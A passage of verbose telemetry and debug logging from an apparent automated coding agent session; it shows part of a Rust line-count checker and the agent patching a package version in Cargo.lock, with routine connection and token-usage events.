std::process::exit;\n[2026-07-12T04:07:27.909Z] [INFO] use walkdir::WalkDir;\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] const MAX_LINES: usize = 1000;\n[2026-07-12T04:07:27.909Z] [INFO] const FILE_EXTENSIONS: &[&str] = &[\".rs\"];\n[2026-07-12T04:07:27.909Z] [INFO] const EXCLUDE_PATTERNS: &[&str] = &[\"target\", \".git\", \"node_modules\"];\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] fn should_exclude(path: &Path) -> bool {\n[2026-07-12T04:07:27.909Z] [INFO]     let path_str = path.to_string_lossy();\n[2026-07-12T04:07:27.909Z] [INFO]     EXCLUDE_PATTERNS.iter().any(|pattern| path_str.contains(pattern))\n[2026-07-12T04:07:27.909Z] [INFO] }\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] fn has_valid_extension(path: &Path) -> bool {\n[2026-07-12T04:07:27.909Z] [INFO]     if let Some(ext) = path.extension() {\n[2026-07-12T04:07:27.909Z] [INFO]         let ext_with_dot = format!(\".{}\", ext.to_string_lossy());\n[2026-07-12T04:07:27.909Z] [INFO]         FILE_EXTENSIONS.contains(&ext_with_dot.as_str())\n[2026-07-12T04:07:27.909Z] [INFO]     } else {\n[2026-07-12T04:07:27.909Z] [INFO]         false\n[2026-07-12T04:07:27.909Z] [INFO]     }\n[2026-07-12T04:07:27.909Z] [INFO] }\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] fn count_lines(path: &Path) -> Result {\n[2026-07-12T04:07:27.909Z] [INFO]     let content = fs::read_to_string(path)?;\n[2026-07-12T04:07:27.909Z] [INFO]     Ok(content.lines().count())\n[2026-07-12T04:07:27.909Z] [INFO] }\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] struct Violation {\n[2026-07-12T04:07:27.909Z] [INFO]     file: String,\n[2026-07-12T04:07:27.909Z] [INFO]     lines: usize,\n[2026-07-12T04:07:27.909Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:27.897Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.909Z] [INFO] 2026-07-12T04:07:27.897483Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_hvBWvP0jKVO0Z4rhqDstgpUq duration_ms=203 success=true arguments_length=382 output_length=1654 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:27.897Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.909Z] [INFO] 2026-07-12T04:07:27.897704Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_hvBWvP0jKVO0Z4rhqDstgpUq tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=203 total_duration_ms=204\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.937Z] [INFO] 2026-07-12T04:07:27.934343Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:27.937Z] [INFO] \n[2026-07-12T04:07:27.977Z] [INFO] 2026-07-12T04:07:27.977362Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:27.977Z] [INFO] \n[2026-07-12T04:07:27.983Z] [INFO] 2026-07-12T04:07:27.980087Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:27.983Z] [INFO] \n[2026-07-12T04:07:27.993Z] [INFO] 2026-07-12T04:07:27.990452Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:27.993Z] [INFO] \n[2026-07-12T04:07:27.997Z] [INFO] 2026-07-12T04:07:27.997503Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:27.997Z] [INFO] \n[2026-07-12T04:07:28.014Z] [INFO] 2026-07-12T04:07:28.011129Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:28.011Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:28.014Z] [INFO] 2026-07-12T04:07:28.011206Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:28.011Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:28.014Z] [INFO] 2026-07-12T04:07:28.011224Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:28.014Z] [INFO] \n[2026-07-12T04:07:28.117Z] [INFO] 2026-07-12T04:07:28.114877Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:28.117Z] [INFO] 2026-07-12T04:07:28.114980Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:28 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"28e239da-6cba-4d5d-9652-75c1e713b248\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=99LXqsrrkXoHtuNaqBSpdPl4RjIC5Nh9W0dazD7NoA96nosMlKDSokJBVMWdoN66RMnUkdcIyX27nWliCY5CC82gazoxbemV1HTtG%2FirPeY2GFswcgh%2Bla2Qd0uB\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2e602883afea-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:28.117Z] [INFO] \n[2026-07-12T04:07:30.393Z] [INFO] 2026-07-12T04:07:30.392896Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313025d708191aeb875bdcd24030c\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMCR9nNITkhdSPO4d7e2IpMyCvqe8b0rcjqce0p3Op7pyMti5G3WrvOiHNmkJ0F9GG32G5DSVlrBCRTMcrQ9OSxoeJedYcGh_cCeJORLyLlm09EPEP-JagG98Iuu1MMakkOD30T8LBCz7kWTkkRv4bBU9hBw6ss41f7SOi7B7naigFwEb46lMhCElOh8BFrvi7TU2sfIHS2Rh7qv49K4d_sAE7bcMYldrfLuNxhjJEw2iUjlkTGjftEbm8LzcxitFjLnVq1SgIYL3ALnKkrm1NN0BfJJry6FvNhZSD7Owf8mP2vQStaxyEwe6PsTUVkDngO3CRpcEVtB2BGBHR6Tpmmm-BjsMVK0zR_32Cjltb2JyLKtYLyvp1SZodrqIdGFxMRVpU4CJKh2ve5VXWm_g55QUiWhks0akhKDN8yaSwuT6-rD3AzqNWv4buhHp-F1hJ70UtfzBJOX7exkuiv0j-v1ElMErRMpVnX3phUekGoeIBYkP_SN41ktcnZz8qUZWCxxdL2-QEdSu4FxPK4_bEeLU8tpgCcTlHhlzZ0RGuzRKMwF0EPqCEA1MqX_acVHRtAqnW-_5Vaaw9KqfOUXXQ2Z23HYcIXvxoA3j2Eepi2IL4dQnUFDEHhvTJ6xMWSNtaaYV7JhTLQe7wr2W0zq8eUgUUM5mXzV6laozfwXAQ7-6jOqtRfRn3j5sDovuH-fl6-qGG7I7FeiTunL7tsj3DYRYk6aYkZP2icada57EIaAHs-4q-nZ10jrVq98tmB0tj7r--c_lcZ-AQJ281JhF8m_5QfK-I61MGXi898uYzwHmtlgi3yi6qkIR7jjZfzXFF-1AwdIBC38FCvON7RyEE01pXG3SpKRq5Ddu5FtY_SziO0pG2sOX4h5iUWXSDGCrZwa0QO4or7SadoXCkxO4ffig==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:30.393Z] [INFO] \n[2026-07-12T04:07:31.923Z] [INFO] 2026-07-12T04:07:31.921555Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313025d708191aeb875bdcd24030c\"), summary: [SummaryText { text: \"**Applying patch and staging changes**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMD5f04FDyIridFa5255ZggsHWj-vfPLHGuzc8O5FnetEYFZKugzyMdaT7Y6qUvpI-s1hxL-ibAguP704yytRiFCZumuJED6IfVB3RhdQl9ORWRvScl648GfjBRbgIL4fP5l0MGRHDT31z8Lx-qGy1g05_aOr6jo86ghxf_yHvf-dzU586ovgQRB69RohBIkIxNkZpttpW7D1pYIylpGBTyaY7ChXol7l8udCw2P9tPmuOK1ZJ1n0ZACBaKt9Ers_91t_3jYnMLxb5iBSEZy8yfikLKUXbo3goYRetDTIFi5SY1i0MicnB0hxlYkdlbYy7DmwLDw6N2-mek5ulzwikw2cK-vVvhF3c-LqV9e5o2szsh1M6r9LwJ6v_8vmVBGSv-IPLmGbFdI1izGJp-dYUzO-CyIQdCi3GUIKl2SR6z1qh4qjY7WFJ2m5mIGRCbUybzs6VY-FGVs5SwUxVoDfjRdu2qUSNpdrviQB4_85fWC3MnjxXd-g8tEEeVkr-44O7O7eUtA6iLAXBL_qvplm6R7gPkUlQ7WWNrCfK66OTHSMpAw5ObcB2TihV27XHDO27vljZfkH2sJMwiBjBH3plOib_ohGh0zOnm8a5bWpK1X1FRs0R1NlFz6FUVRy4Sd7PnQB4PQJoYa04dAFKg67ZvTFabkLWORqil40JKQf0jUdHjArkzSm1ZZuwC7Mriz-QfuAvbTbkcMPhNwjBbAGoutlsbRhO5BdQMAd1akWPA_rQ417BP8aPD_MY8m3iLhCzHahZjDgbYA_MRTOH22QvNwj6tKNuu-MQuW4kD1nTJNqubJfXZtYa3mZid-l-whYSYyaydaf5GvA6Pqn7HdR9eOIAmmsKEyQ8QD745RMN3oDSR6Pn0yXFTvoFgEQ3aop4TTbf01x9Ffa8zWX5c4Wh4HJ6cAj-zAd2rl3ZlMHJuF9EKtu0AB0oxnI1q-flMI9S6ZtXxnR0-M9H3sCWI_ECZ1r789BrwykBPbjIxiRtlJxRFPpiNqR3f7o45giRRAAbHpjSqs2sbbzcRGAbUnM2ZNtHTcRmDJZ-N98LRqMHWdr5LD5W_8t0eZvqSxH2XlnErrXNj7x0ZMW-CywHgALwHZKMUOArdmfq-CavYjbjwgiuAoPoxbH_i_CGO7wpyNDL02YMQaRXdz9ru0NxVhDEv3OmYEBcFoo9GqGVvhs10v6o6KXdmQ9B2PK66EFeqB2BqczQIVse4ZPLCVht-VYze_S8EWn2LBj7eEo8JXXbzGkHaWXA0zVUpMkGMT-locOCrC1p8eLmwQT-_ogKCFfsCtA_NwDkd7H3biNSleGsg1x8hu2FG9yP6oCWR5RDkqLNl25m9I7hcbhDlBjcroS-pkg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:31.923Z] [INFO] \n[2026-07-12T04:07:31.926Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_39\",\"type\":\"reasoning\",\"text\":\"**Applying patch and staging changes**\"}}\n[2026-07-12T04:07:31.926Z] [INFO] \n[2026-07-12T04:07:31.930Z] [INFO] 2026-07-12T04:07:31.925323Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a531303e7f88191b9558963f958be21\"), status: Some(\"in_progress\"), call_id: \"call_saEAHJSxbEHFfMnQJWQco5Yj\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:31.930Z] [INFO] \n[2026-07-12T04:07:33.250Z] [INFO] 2026-07-12T04:07:33.245354Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const patch=\"*** Begin Patch\\n*** Update File: /tmp/gh-issue-solver-1783828904396/Cargo.lock\\n@@\\n name = \\\"meta-ontology\\\"\\n-version = \\\"0.8.0\\\"\\n+version = \\\"0.7.0\\\"\\n*** End Patch\";\n[2026-07-12T04:07:33.250Z] [INFO] text(await tools.apply_patch(patch));\n[2026-07-12T04:07:33.250Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:33.250Z] [INFO] \n[2026-07-12T04:07:33.255Z] [INFO] 2026-07-12T04:07:33.254701Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313001f148191ac0b209ff8bdd877\"\n[2026-07-12T04:07:33.255Z] [INFO] 2026-07-12T04:07:33.254753Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=65203 output_token_count=153 cached_token_count=63232 reasoning_token_count=68 tool_token_count=65356 ttft_ms=2382 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:33.254Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.255Z] [INFO] 2026-07-12T04:07:33.254792Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=65203 output_token_count=153 cached_token_count=63232 reasoning_token_count=68 tool_token_count=65356 ttft_ms=2382 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:33.254Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.255Z] [INFO] \n[2026-07-12T04:07:33.347Z] [INFO] 2026-07-12T04:07:33.346254Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=apply_patch call_id=exec-5f8935fb-1f22-4ee0-bdd9-e006062f75b7 decision=approved source=Config event.timestamp=2026-07-12T04:07:33.346Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.347Z] [INFO] \n[2026-07-12T04:07:33.348Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_40\",\"type\":\"file_change\",\"changes\":[{\"path\":\"/tmp/gh-issue-solver-1783828904396/Cargo.lock\",\"kind\":\"update\"}],\"status\":\"in_progress\"}}\n[2026-07-12T04:07:33.348Z] [INFO] \n[2026-07-12T04:07:33.353Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_40\",\"type\":\"file_change\",\"changes\":[{\"path\":\"/tmp/gh-issue-solver-1783828904396/Cargo.lock\",\"kind\":\"update\"}],\"status\":\"completed\"}}\n[2026-07-12T04:07:33.353Z] [INFO] \n[2026-07-12T04:07:33.357Z] [INFO] 2026-07-12T04:07:33.355540Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=apply_patch call_id=exec-5f8935fb-1f22-4ee0-bdd9-e006062f75b7 arguments=*** Begin Patch\n[2026-07-12T04:07:33.357Z] [INFO] *** Update File: /tmp/gh-issue-solver-1783828904396/Cargo.lock\n[2026-07-12T04:07:33.357Z] [INFO] @@\n[2026-07-12T04:07:33.357Z] [INFO]  name = \"meta-ontology\"\n[2026-07-12T04:07:33.357Z] [INFO] -version = \"0.8.0\"\n[2026-07-12T04:07:33.357Z] [INFO] +version = \"0.7.0\"\n[2026-07-12T04:07:33.357Z] [INFO] *** End Patch duration_ms=11 success=true output=Exit code: 0\n[2026-07-12T04:07:33.357Z] [INFO] Wall time: 0 seconds\n[2026-07-12T04:07:33.357Z] [INFO] Output:\n[2026-07-12T04:07:33.357Z] [INFO] Success. Updated the following files:\n[2026-07-12T04:07:33.357Z] [INFO] M /tmp/gh-issue-solver-1783828904396/Cargo.lock\n[2026-07-12T04:07:33.357Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:33.355Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.357Z] [INFO] 2026-07-12T04:07:33.355575Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=apply_patch call_id=exec-5f8935fb-1f22-4ee0-bdd9-e006062f75b7 duration_ms=11 success=true arguments_length=157 output_length=128 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:33.355Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.357Z] [INFO] \n[2026-07-12T04:07:33.370Z] [INFO] 2026-07-12T04:07:33.365507Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_saEAHJSxbEHFfMnQJWQco5Yj arguments=const patch=\"*** Begin Patch\\n*** Update File: /tmp/gh-issue-solver-1783828904396/Cargo.lock\\n@@\\n name = \\\"meta-ontology\\\"\\n-version = \\\"0.8.0\\\"\\n+version = \\\"0.7.0\\\"\\n*** End Patch\";\n[2026-07-12T04:07:33.370Z] [INFO] text(await tools.apply_patch(patch));\n[2026-07-12T04:07:33.370Z] [INFO]  duration_ms=99 success=true output=Script completed\n[2026-07-12T04:07:33.370Z] [INFO] Wall time 0.1 seconds\n[2026-07-12T04:07:33.370Z] [INFO] Output:\n[2026-07-12T04:07:33.370Z] [INFO] \n[2026-07-12T04:07:33.370Z] [INFO] {} mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:33.365Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.370Z] [INFO] 2026-07-12T04:07:33.365549Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_saEAHJSxbEHFfMnQJWQco5Yj duration_ms=99 success=true arguments_length=223 output_length=50 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:33.365Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.370Z] [INFO] 2026-07-12T04:07:33.365622Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_saEAHJSxbEHFfMnQJWQco5Yj tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=100 total_duration_ms=100\n[2026-07-12T04:07:33.370Z] [INFO] \n[2026-07-12T04:07:33.394Z] [INFO] 2026-07-12T04:07:33.392885Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:33.394Z] [INFO] \n[2026-07-12T04:07:33.426Z] [INFO] 2026-07-12T04:07:33.425566Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:33.426Z] [INFO] \n[2026-07-12T04:07:33.429Z] [INFO] 2026-07-12T04:07:33.427519Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:33.429Z] [INFO] \n[2026-07-12T04:07:33.436Z] [INFO] 2026-07-12T04:07:33.431933Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:33.436Z] [INFO] \n[2026-07-12T04:07:33.457Z] [INFO] 2026-07-12T04:07:33.451270Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, 